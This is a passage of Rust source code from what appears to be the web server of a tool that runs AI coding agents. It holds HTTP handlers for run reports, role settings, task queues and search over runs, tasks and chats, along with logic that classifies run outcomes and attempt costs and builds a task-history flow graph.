3334 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3335 let live = state.liveness(daemon_claims);
3336 Ok(format!(
3337 "{}{}",
3338 report::run(&state),
3339 report::active_seats(&state, live)
3340 ))
3341 })
3342 .await?;
3343 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3344}
3345
3346async fn run_report_json(
3350 State(ui): State<Arc<Ui>>,
3351 Path(id): Path<String>,
3352) -> ApiResult<Json<crate::report_view::RunReportView>> {
3353 let view = blocking(move || {
3354 let id = resolve_run(&ui.runs, &id)?;
3355 let state = read_run(&ui.runs, &id)?;
3356 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3357 Ok(crate::report_view::build(
3358 &state,
3359 state.liveness(daemon_claims),
3360 ))
3361 })
3362 .await?;
3363 Ok(Json(view))
3364}
3365
3366#[derive(Debug, Serialize)]
3372struct TaskView {
3373 #[serde(flatten)]
3374 task: Task,
3375 source_label: String,
3376 source_link: Option<SourceLink>,
3377 status_str: &'static str,
3378 instruction_md: Vec<md::Node>,
3382 waits_on: Vec<String>,
3386 stuck_roots: Vec<String>,
3389}
3390
3391impl From<Task> for TaskView {
3392 fn from(task: Task) -> Self {
3393 Self {
3394 source_label: task.source.label(),
3395 source_link: source_link(&task.source),
3396 status_str: task.status.as_str(),
3397 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3398 waits_on: Vec::new(),
3399 stuck_roots: Vec::new(),
3400 task,
3401 }
3402 }
3403}
3404
3405impl TaskView {
3406 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3407 let waits_on = inv.waits_on(&task);
3408 let stuck_roots = inv
3409 .stuck_roots(&task)
3410 .iter()
3411 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3412 .collect();
3413 Self {
3414 waits_on,
3415 stuck_roots,
3416 ..Self::from(task)
3417 }
3418 }
3419}
3420
3421#[derive(Debug, Default, Deserialize)]
3424#[serde(default)]
3425struct ReposQuery {
3426 refresh: u8,
3427}
3428
3429async fn repos_list(
3436 State(ui): State<Arc<Ui>>,
3437 Query(q): Query<ReposQuery>,
3438) -> ApiResult<Json<Vec<repos::Repo>>> {
3439 let refresh = q.refresh != 0;
3440 blocking(move || {
3441 let (cfg, _) = Config::discover(&ui.repo, None)?;
3442 Ok(Json(ui.repos_cache.list(
3443 &cfg.repos.roots,
3444 Duration::from_secs(cfg.repos.scan_ttl),
3445 refresh,
3446 )))
3447 })
3448 .await
3449}
3450
3451async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3455 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3456}
3457
3458#[derive(Debug, Deserialize)]
3460#[serde(deny_unknown_fields)]
3461struct RolesBody {
3462 revision: String,
3464 roles: std::collections::BTreeMap<String, Vec<String>>,
3466}
3467
3468async fn settings_put_roles(
3474 State(ui): State<Arc<Ui>>,
3475 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3476) -> ApiResult<Json<settings::SettingsView>> {
3477 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3478 blocking(move || {
3479 settings::save(
3480 &ui.repo,
3481 ui.machine_config.as_deref(),
3482 &body.revision,
3483 &body.roles,
3484 )
3485 .map(Json)
3486 .map_err(|e| match e {
3487 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3488 settings::SaveError::Refused(m) => ApiError {
3489 status: StatusCode::UNPROCESSABLE_ENTITY,
3490 message: m,
3491 },
3492 settings::SaveError::Internal(m) => ApiError::internal(m),
3493 })
3494 })
3495 .await
3496}
3497
3498async fn queue_list(
3499 State(ui): State<Arc<Ui>>,
3500 Query(q): Query<ListQuery>,
3501) -> ApiResult<Json<Vec<TaskView>>> {
3502 blocking(move || {
3503 let tasks = ui.queue.list();
3504 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3505 Ok(Json(
3506 tasks
3507 .into_iter()
3508 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3509 .map(|t| TaskView::with_inventory(t, &inv))
3510 .collect(),
3511 ))
3512 })
3513 .await
3514}
3515
3516const SEARCH_MAX_HITS: usize = 100;
3518const SEARCH_MAX_QUERY: usize = 200;
3520const SEARCH_MAX_TERMS: usize = 8;
3521const SNIPPET_BEFORE: usize = 50;
3523const SNIPPET_AFTER: usize = 110;
3524
3525#[derive(Debug, Deserialize)]
3527struct SearchQuery {
3528 #[serde(default)]
3529 scope: String,
3530 #[serde(default)]
3531 q: String,
3532}
3533
3534#[derive(Debug, Serialize, PartialEq, Eq)]
3537struct SnippetPart {
3538 text: String,
3539 hit: bool,
3540}
3541
3542#[derive(Debug, Serialize)]
3543struct SearchHit {
3544 id: String,
3545 field: String,
3547 snippet: Vec<SnippetPart>,
3548 #[serde(skip_serializing_if = "Option::is_none")]
3552 run: Option<RunSummary>,
3553}
3554
3555#[derive(Debug, Serialize)]
3556struct SearchView {
3557 scope: String,
3558 q: String,
3559 hits: Vec<SearchHit>,
3561 total: usize,
3563 truncated: bool,
3564 unreadable: usize,
3567}
3568
3569fn text_leaves<'a>(
3572 value: &'a serde_json::Value,
3573 field: &'a str,
3574 out: &mut Vec<(&'a str, &'a str)>,
3575) {
3576 match value {
3577 serde_json::Value::String(s) => out.push((field, s)),
3578 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3579 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3580 _ => {}
3581 }
3582}
3583
3584fn fold_char(c: char) -> char {
3587 c.to_lowercase().next().unwrap_or(c)
3588}
3589
3590fn search_terms(q: &str) -> Vec<String> {
3592 let mut terms: Vec<String> = Vec::new();
3593 for t in q.split_whitespace() {
3594 let t = t.to_lowercase();
3595 if !terms.contains(&t) {
3596 terms.push(t);
3597 }
3598 }
3599 terms
3600}
3601
3602fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3605 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3606 let mut first: Option<usize> = None;
3607 for term in terms {
3608 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3609 first = Some(first.map_or(at, |f| f.min(at)));
3610 }
3611 let (field, text) = leaves[first?];
3613 Some(SearchHit {
3614 id: String::new(),
3615 field: field.to_owned(),
3616 snippet: snippet_of(text, terms),
3617 run: None,
3618 })
3619}
3620
3621fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3624 let chars: Vec<char> = text.chars().collect();
3625 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3626 let needles: Vec<Vec<char>> = terms
3627 .iter()
3628 .map(|t| t.chars().map(fold_char).collect())
3629 .collect();
3630 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3631 let mut best: Option<(usize, usize)> = None;
3632 for n in needles.iter().filter(|n| !n.is_empty()) {
3633 if n.len() > chars.len() || to == 0 {
3637 continue;
3638 }
3639 let last = (to - 1).min(chars.len() - n.len());
3640 if from > last {
3641 continue;
3642 }
3643 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3644 && best.is_none_or(|(b, _)| i < b)
3645 {
3646 best = Some((i, i + n.len()));
3647 }
3648 }
3649 best
3650 };
3651 let Some((start, _)) = find(0, chars.len()) else {
3652 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3654 return vec![SnippetPart {
3655 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3656 hit: false,
3657 }];
3658 };
3659 let lo = start.saturating_sub(SNIPPET_BEFORE);
3660 let hi = (start + SNIPPET_AFTER).min(chars.len());
3661 let mut parts: Vec<SnippetPart> = Vec::new();
3662 let mut push = |s: &[char], hit: bool| {
3663 if s.is_empty() {
3664 return;
3665 }
3666 let text: String = s.iter().collect();
3667 match parts.last_mut() {
3668 Some(p) if p.hit == hit => p.text.push_str(&text),
3669 _ => parts.push(SnippetPart { text, hit }),
3670 }
3671 };
3672 if lo > 0 {
3673 push(&['\u{2026}'], false);
3674 }
3675 let mut at = lo;
3676 while at < hi {
3677 match find(at, hi) {
3678 Some((s, e)) => {
3679 push(&chars[at..s], false);
3680 let shown = e.min(hi);
3682 push(&chars[s..shown], true);
3683 at = shown;
3684 }
3685 None => {
3686 push(&chars[at..hi], false);
3687 at = hi;
3688 }
3689 }
3690 }
3691 if hi < chars.len() {
3692 push(&['\u{2026}'], false);
3693 }
3694 let mut prev_space = false;
3697 for p in &mut parts {
3698 let mut out = String::with_capacity(p.text.len());
3699 for c in p.text.chars() {
3700 if c.is_whitespace() {
3701 if !prev_space {
3702 out.push(' ');
3703 }
3704 prev_space = true;
3705 } else {
3706 out.push(c);
3707 prev_space = false;
3708 }
3709 }
3710 p.text = out;
3711 }
3712 parts.retain(|p| !p.text.is_empty());
3713 parts
3714}
3715
3716fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3718where
3719 I: IntoIterator<Item = (String, serde_json::Value)>,
3720{
3721 for (id, doc) in docs {
3722 let mut leaves = Vec::new();
3723 leaves.push(("id", id.as_str()));
3726 text_leaves(&doc, "", &mut leaves);
3727 if let Some(mut hit) = search_document(terms, &leaves) {
3728 view.total += 1;
3729 if view.hits.len() < SEARCH_MAX_HITS {
3730 hit.id = id;
3731 view.hits.push(hit);
3732 }
3733 }
3734 }
3735 view.truncated = view.total > view.hits.len();
3736}
3737
3738fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3745 let opener = talk
3746 .turns
3747 .iter()
3748 .find(|t| t.who == crate::talk::Who::Operator)
3749 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3750 .unwrap_or("");
3751 let title: String = if opener.chars().count() > 96 {
3752 opener.chars().take(95).chain(['\u{2026}']).collect()
3753 } else {
3754 opener.to_owned()
3755 };
3756 let turns: Vec<serde_json::Value> = talk
3757 .turns
3758 .iter()
3759 .map(|t| {
3760 let who = match t.who {
3761 crate::talk::Who::Operator => "operator",
3762 crate::talk::Who::Agent => "agent",
3763 };
3764 serde_json::json!({ who: t.body })
3765 })
3766 .collect();
3767 serde_json::json!({ "title": title, "turns": turns })
3768}
3769
3770async fn search_get(
3777 State(ui): State<Arc<Ui>>,
3778 Query(q): Query<SearchQuery>,
3779) -> ApiResult<Json<SearchView>> {
3780 let query = q.q.trim().to_owned();
3781 if query.is_empty() {
3782 return Err(ApiError::bad_request("q must not be empty"));
3783 }
3784 if query.chars().count() > SEARCH_MAX_QUERY {
3785 return Err(ApiError::bad_request(format!(
3786 "q is longer than {SEARCH_MAX_QUERY} characters"
3787 )));
3788 }
3789 let terms = search_terms(&query);
3790 if terms.len() > SEARCH_MAX_TERMS {
3791 return Err(ApiError::bad_request(format!(
3792 "q has more than {SEARCH_MAX_TERMS} terms"
3793 )));
3794 }
3795 let scope = q.scope;
3796 if scope != "runs" && scope != "tasks" && scope != "chats" {
3797 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3798 }
3799 blocking(move || {
3800 let mut view = SearchView {
3801 scope: scope.clone(),
3802 q: query,
3803 hits: Vec::new(),
3804 total: 0,
3805 truncated: false,
3806 unreadable: 0,
3807 };
3808 if scope == "runs" {
3809 let mut unreadable = 0;
3810 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3814 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3815 match body.and_then(|b| serde_json::from_str(&b).ok()) {
3816 Some(v) => Some((id, v)),
3817 None => {
3818 unreadable += 1;
3819 None
3820 }
3821 }
3822 });
3823 search_docs(&terms, docs, &mut view);
3824 view.unreadable = unreadable;
3825 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3828 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3829 for hit in &mut view.hits {
3830 if let Ok(state) = read_run(&ui.runs, &hit.id) {
3831 hit.run = summarize(
3832 [state],
3833 &open_runs,
3834 &claimed,
3835 &superseded,
3836 |p| probe.borrow_mut().status(p),
3837 |p| probe.borrow_mut().started_at(p),
3838 )
3839 .pop();
3840 }
3841 }
3842 } else if scope == "chats" {
3843 let (talks, unreadable) = ui.talks.list_counting_unreadable();
3844 view.unreadable = unreadable;
3845 search_docs(
3846 &terms,
3847 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3848 &mut view,
3849 );
3850 } else {
3851 let docs = ui.queue.list().into_iter().filter_map(|t| {
3852 let mut v = serde_json::to_value(&t).ok()?;
3853 if let Some(o) = v.as_object_mut() {
3856 o.insert("filed_by".to_owned(), t.source.label().into());
3857 }
3858 Some((t.id, v))
3859 });
3860 search_docs(&terms, docs, &mut view);
3861 }
3862 Ok(Json(view))
3863 })
3864 .await
3865}
3866
3867#[derive(Debug, Serialize)]
3869struct TaskRunView {
3870 n: usize,
3872 id: String,
3873 short: String,
3874 kind: &'static str,
3876 status: Option<&'static str>,
3878 readable: bool,
3880 provisional: bool,
3882 description: String,
3884 outcome: String,
3886 created_at: Option<Timestamp>,
3887 pr: Option<String>,
3888 exit: RunExit,
3890 attempt: AttemptCost,
3892 branch: Option<String>,
3894}
3895
3896#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3898#[serde(rename_all = "snake_case")]
3899enum RunExit {
3900 Unreadable,
3901 Interrupted,
3903 Parked,
3904 QuotaStall,
3905 ResumedQuotaStall,
3909 Merged,
3910 Ready,
3911 Superseded,
3912 AlreadyInBase,
3915 Stalled,
3917 HeldWithPr,
3919 NoopHeld,
3920 Spent,
3922 InProgress,
3923}
3924
3925#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3926#[serde(rename_all = "snake_case")]
3927enum AttemptCost {
3928 Spent,
3929 Refunded,
3930 None,
3931 Unknown,
3933}
3934
3935impl RunExit {
3936 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3937 let Some(s) = s else {
3938 return Self::Unreadable;
3939 };
3940 let status = s.status;
3941 if resumed_later {
3942 Self::Interrupted
3943 } else if s.parked {
3944 Self::Parked
3945 } else if !status.done() {
3946 Self::InProgress
3947 } else if matches!(status, RunStatus::Merged) {
3948 Self::Merged
3949 } else if matches!(status, RunStatus::Ready) {
3950 Self::Ready
3951 } else if matches!(status, RunStatus::Superseded) {
3952 Self::Superseded
3953 } else if matches!(status, RunStatus::AlreadyInBase) {
3954 Self::AlreadyInBase
3955 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3956 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3957 {
3958 if resumed {
3959 Self::ResumedQuotaStall
3960 } else {
3961 Self::QuotaStall
3962 }
3963 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3964 Self::HeldWithPr
3965 } else if matches!(status, RunStatus::VerifiedNoop) {
3966 Self::NoopHeld
3967 } else if matches!(status, RunStatus::Stalled) {
3968 Self::Stalled
3969 } else {
3970 Self::Spent
3971 }
3972 }
3973
3974 fn cost(self) -> AttemptCost {
3975 match self {
3976 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3977 Self::Merged
3978 | Self::Ready
3979 | Self::Stalled
3980 | Self::HeldWithPr
3981 | Self::NoopHeld
3982 | Self::Spent => AttemptCost::Spent,
3983 Self::InProgress => AttemptCost::None,
3984 Self::AlreadyInBase => AttemptCost::Refunded,
3985 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3986 AttemptCost::Unknown
3987 }
3988 }
3989 }
3990
3991 fn edge_label(self, status: Option<&str>) -> String {
3993 match self {
3994 Self::Unreadable => "record unreadable".to_owned(),
3995 Self::Interrupted => "interrupted before the run finished".to_owned(),
3996 Self::Parked => "parked, attempt refunded".to_owned(),
3997 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3998 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3999 Self::Merged => "merged".to_owned(),
4000 Self::Ready => "ready, not merged".to_owned(),
4001 Self::Superseded => "superseded by a later attempt".to_owned(),
4002 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4003 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4004 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4005 Self::NoopHeld => "verified no-op".to_owned(),
4006 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4007 Self::InProgress => "in progress".to_owned(),
4008 }
4009 }
4010
4011 fn explains(self, end: TaskStatus) -> bool {
4014 match self {
4015 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4016 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4017 Self::Unreadable | Self::Superseded | Self::Ready => true,
4018 _ => end != TaskStatus::Done,
4019 }
4020 }
4021}
4022
4023#[derive(Debug, Serialize)]
4025struct TaskDetailView {
4026 #[serde(flatten)]
4027 task: TaskView,
4028 max_attempts: usize,
4031 history: Vec<TaskRunView>,
4032 flow: FlowView,
4033 runs_unreadable: usize,
4035 attempts_note: &'static str,
4037}
4038
4039const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4040and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4041on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4042in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4043
4044fn review_branch_of(instruction: &str) -> Option<&str> {
4047 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4048 rest.split('`').next().filter(|b| !b.is_empty())
4049}
4050
4051struct RunSlot<'a> {
4053 n: usize,
4055 resumed: bool,
4057 resumed_later: Option<usize>,
4059 prior: Option<(&'a str, RunStatus)>,
4061 last: bool,
4062}
4063
4064fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4067 let RunSlot {
4068 n,
4069 resumed,
4070 resumed_later,
4071 prior,
4072 last,
4073 } = at;
4074 let short = run::short_of(id).to_owned();
4075 let Some(s) = state else {
4076 return TaskRunView {
4077 n,
4078 id: id.to_owned(),
4079 short,
4080 kind: "unknown",
4081 status: None,
4082 readable: false,
4083 provisional: false,
4084 description:
4085 "This run's record could not be read by this build (written by a different \
4086 magi, or removed), so what kind of attempt it was is unknown."
4087 .to_owned(),
4088 outcome: String::new(),
4089 created_at: None,
4090 pr: None,
4091 exit: RunExit::Unreadable,
4092 attempt: AttemptCost::Unknown,
4093 branch: None,
4094 };
4095 };
4096 let branch = review_branch_of(&s.instruction);
4097 let kind = if resumed {
4098 "resume"
4099 } else if branch.is_some() {
4100 "review"
4101 } else if task.solo || s.candidates.len() == 1 {
4102 "solo"
4103 } else {
4104 "competition"
4105 };
4106 let mut description = match kind {
4107 "resume" => {
4108 format!("Resumed run {short}: the same run carried on instead of competing again.")
4109 }
4110 "review" => format!(
4111 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4112 branch.unwrap_or_default()
4113 ),
4114 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4115 _ => format!(
4116 "Competition: {} candidates judged blind.",
4117 s.candidates.len().max(1)
4118 ),
4119 };
4120 if !resumed && let Some((p, st)) = prior {
4121 description.push_str(&format!(
4122 " A retry: run {p} before it ended {}.",
4123 st.display_label()
4124 ));
4125 }
4126
4127 let status = s.status;
4128 let provisional = matches!(status, RunStatus::Stalled)
4129 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4130 let head = if resumed_later.is_some() {
4131 String::new()
4132 } else {
4133 match status {
4134 RunStatus::Merged => "Merged.".to_owned(),
4135 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4136 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4137 RunStatus::AlreadyInBase => {
4138 "Already in the base: this change landed under other commits, nothing was left to land."
4139 .to_owned()
4140 }
4141 RunStatus::Stalled => {
4142 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4143 .to_owned()
4144 }
4145 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4146 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4147 RunStatus::VerifiedNoop => {
4148 "Verified no-op: the candidates found nothing to change.".to_owned()
4149 }
4150 other if other.done() => format!("Ended {}.", other.display_label()),
4151 other => format!("In progress ({}).", other.display_label()),
4152 }
4153 };
4154 let why = if let Some(k) = resumed_later {
4155 let cause = if s.quota.is_empty() {
4162 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4163 } else {
4164 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4165 };
4166 format!(
4167 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4168 )
4169 } else if s.parked {
4170 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4171 .to_owned()
4172 } else if !status.done()
4173 || matches!(
4174 status,
4175 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4176 )
4177 {
4178 String::new()
4179 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4180 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4181 {
4182 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4183 .to_owned()
4184 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4185 " It left a pull request open, so the task was held for a person rather than retried."
4186 .to_owned()
4187 } else if matches!(status, RunStatus::VerifiedNoop) {
4188 " Held for a person to check the claim.".to_owned()
4189 } else if last {
4190 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4191 } else {
4192 " It spent an attempt, and the task moved on to the next run.".to_owned()
4193 };
4194 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4195 TaskRunView {
4196 n,
4197 id: id.to_owned(),
4198 short,
4199 kind,
4200 status: Some(status.as_str()),
4201 readable: true,
4202 provisional,
4203 description,
4204 outcome: format!("{head}{why}"),
4205 created_at: Some(s.created_at),
4206 pr: s.pr.as_ref().map(|p| p.url.clone()),
4207 exit,
4208 attempt: exit.cost(),
4209 branch: branch.map(str::to_owned),
4210 }
4211}
4212
4213#[derive(Debug, Serialize, PartialEq)]
4215struct FlowNode {
4216 key: String,
4218 kind: &'static str,
4220 label: String,
4221 status: Option<&'static str>,
4224 note: Option<&'static str>,
4226 run_kind: Option<&'static str>,
4227 detail: Option<String>,
4228 decided: bool,
4230 readable: bool,
4231 href: Option<String>,
4232}
4233
4234#[derive(Debug, Serialize, PartialEq)]
4235struct FlowEdge {
4236 from: String,
4237 to: String,
4238 label: String,
4239 attempt: AttemptCost,
4240}
4241
4242#[derive(Debug, Serialize, PartialEq)]
4243struct FlowView {
4244 nodes: Vec<FlowNode>,
4245 edges: Vec<FlowEdge>,
4246 attempts: usize,
4248 max_attempts: usize,
4249}
4250
4251fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4254 let node = |key: &str, kind, label: String| FlowNode {
4255 key: key.to_owned(),
4256 kind,
4257 label,
4258 status: None,
4259 note: None,
4260 run_kind: None,
4261 detail: None,
4262 decided: false,
4263 readable: true,
4264 href: None,
4265 };
4266 let mut nodes = Vec::new();
4267 let mut edges: Vec<FlowEdge> = Vec::new();
4268 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4270 let mut n = node(
4271 "chat",
4272 "chat",
4273 format!("Chat {}", crate::queue::short(&link.id)),
4274 );
4275 n.href = Some(link.href);
4276 nodes.push(n);
4277 edges.push(FlowEdge {
4278 from: "chat".to_owned(),
4279 to: "start".to_owned(),
4280 label: "queued from chat".to_owned(),
4281 attempt: AttemptCost::None,
4282 });
4283 }
4284 nodes.push(node("start", "start", "Task queued".to_owned()));
4285 let mut prev = "start".to_owned();
4286 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4287 for (i, h) in history.iter().enumerate() {
4288 let key = format!("run-{}", h.n);
4289 let mut n = node(&key, "run", format!("Run {}", h.short));
4290 n.run_kind = Some(h.kind);
4291 n.readable = h.readable;
4292 n.href = Some(format!("#/runs/{}", h.id));
4293 n.decided = h.readable && !h.provisional;
4294 n.detail = h
4295 .branch
4296 .as_ref()
4297 .map(|b| format!("review-only run of branch {b}"));
4298 match h.exit {
4299 RunExit::Unreadable => n.note = Some("unreadable"),
4300 RunExit::Interrupted => n.note = Some("interrupted"),
4301 _ => {
4302 n.status = h.status;
4303 if h.provisional {
4304 n.note = Some("no verdict");
4305 }
4306 }
4307 }
4308 let into = match h.kind {
4309 "review" => Some(format!(
4310 "review-only run of branch {}",
4311 h.branch.as_deref().unwrap_or("?")
4312 )),
4313 "resume" => Some("resume the same run".to_owned()),
4314 _ if i > 0 => Some("retry".to_owned()),
4315 _ => None,
4316 };
4317 let label = match (prev_exit, into) {
4318 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4319 (Some((e, st)), None) => e.edge_label(st),
4320 (None, Some(i)) => i,
4321 (None, None) => "claimed".to_owned(),
4322 };
4323 edges.push(FlowEdge {
4324 from: prev.clone(),
4325 to: key.clone(),
4326 label,
4327 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4328 });
4329 prev_exit = Some((h.exit, h.status));
4330 prev = key;
4331 nodes.push(n);
4332 }
4333 let mut end = node("end", "end", task.status.as_str().to_owned());
4334 end.status = Some(task.status.as_str());
4335 nodes.push(end);
4336 let (label, attempt) = match prev_exit {
4337 None => (
4338 format!("no run yet \u{2192} {}", task.status.as_str()),
4339 AttemptCost::None,
4340 ),
4341 Some((e, st)) if e.explains(task.status) => (
4342 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4343 e.cost(),
4344 ),
4345 Some((e, _)) => (
4346 format!("closed by hand: task is {}", task.status.as_str()),
4347 e.cost(),
4348 ),
4349 };
4350 edges.push(FlowEdge {
4351 from: prev,
4352 to: "end".to_owned(),
4353 label,
4354 attempt,
4355 });
4356 FlowView {
4357 nodes,
4358 edges,
4359 attempts: task.attempts,
4360 max_attempts,
4361 }
4362}
4363
4364fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4367 let mut history = Vec::with_capacity(task.runs.len());
4368 let mut seen: Vec<&str> = Vec::new();
4369 let mut prior: Option<(&str, RunStatus)> = None;
4370 for (i, run_id) in task.runs.iter().enumerate() {
4371 let state = read(run_id);
4372 let resumed = seen.contains(&run_id.as_str());
4373 seen.push(run_id);
4374 history.push(task_run_view(
4375 run_id,
4376 state.as_ref(),
4377 RunSlot {
4378 n: i + 1,
4379 resumed,
4380 resumed_later: task.runs[i + 1..]
4381 .iter()
4382 .position(|r| r == run_id)
4383 .map(|off| i + off + 2),
4384 prior,
4385 last: i + 1 == task.runs.len(),
4386 },
4387 task,
4388 ));
4389 if let Some(s) = &state {
4390 prior = Some((run::short_of(run_id), s.status));
4391 }
4392 }
4393 history
4394}
4395
4396async fn task_detail(
4397 State(ui): State<Arc<Ui>>,
4398 Path(id): Path<String>,
4399) -> ApiResult<Json<TaskDetailView>> {
4400 blocking(move || {
4401 let id = resolve_task(&ui.queue, &id)?;
4402 let task = ui
4403 .queue
4404 .get(&id)
4405 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4406 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4407 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4408 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4409 let max_attempts = daemon::Opts::default().max_attempts;
4410 let flow = task_flow(&task, &history, max_attempts);
4411 Ok(Json(TaskDetailView {
4412 max_attempts,
4413 flow,
4414 history,
4415 runs_unreadable,
4416 attempts_note: ATTEMPTS_NOTE,
4417 task: TaskView::with_inventory(task, &inv),
4418 }))
4419 })
4420 .await
4421}
4422
4423#[derive(Debug, Serialize)]
4427struct RateView {
4428 pct: f64,
4429 denominator: usize,
4430}
4431
4432impl RateView {
4433 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4434 (denominator > 0).then(|| Self {
4435 pct: 100.0 * numerator as f64 / denominator as f64,
4436 denominator,
4437 })
4438 }
4439}
4440
4441#[derive(Debug, Serialize)]
4446struct StatsTotalsView {
4447 runs: usize,
4448 merged: usize,
4449 ready: usize,
4450 blocked: usize,
4451 failed: usize,
4452 stalled: usize,
4453 verified_noop: usize,
4454 superseded: usize,
4455 in_progress: usize,
4456 completion_rate: Option<RateView>,
4457 tallied: usize,
4458 split: usize,
4459 split_rate: Option<RateView>,
4460 deliberated: usize,
4461 minds_changed: usize,
4462 converged: usize,
4463 review_rounds: usize,
4464}
4465
4466impl From<&stats::Totals> for StatsTotalsView {
4467 fn from(t: &stats::Totals) -> Self {
4468 Self {
4469 runs: t.runs,
4470 merged: t.merged,
4471 ready: t.ready,
4472 blocked: t.blocked,
4473 failed: t.failed,
4474 stalled: t.stalled,
4475 verified_noop: t.verified_noop,
4476 superseded: t.superseded,
4477 in_progress: t.in_progress,
4478 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4479 tallied: t.tallied,
4480 split: t.split,
4481 split_rate: RateView::of(t.split, t.tallied),
4482 deliberated: t.deliberated,
4483 minds_changed: t.minds_changed,
4484 converged: t.converged,
4485 review_rounds: t.review_rounds,
4486 }
4487 }
4488}
4489
4490#[derive(Debug, Serialize)]
4492struct AgentStatsView {
4493 agent: String,
4494 entered: usize,
4495 wins: usize,
4496 empty: usize,
4497 win_rate: Option<RateView>,
4498}
4499
4500impl From<&stats::AgentStats> for AgentStatsView {
4501 fn from(a: &stats::AgentStats) -> Self {
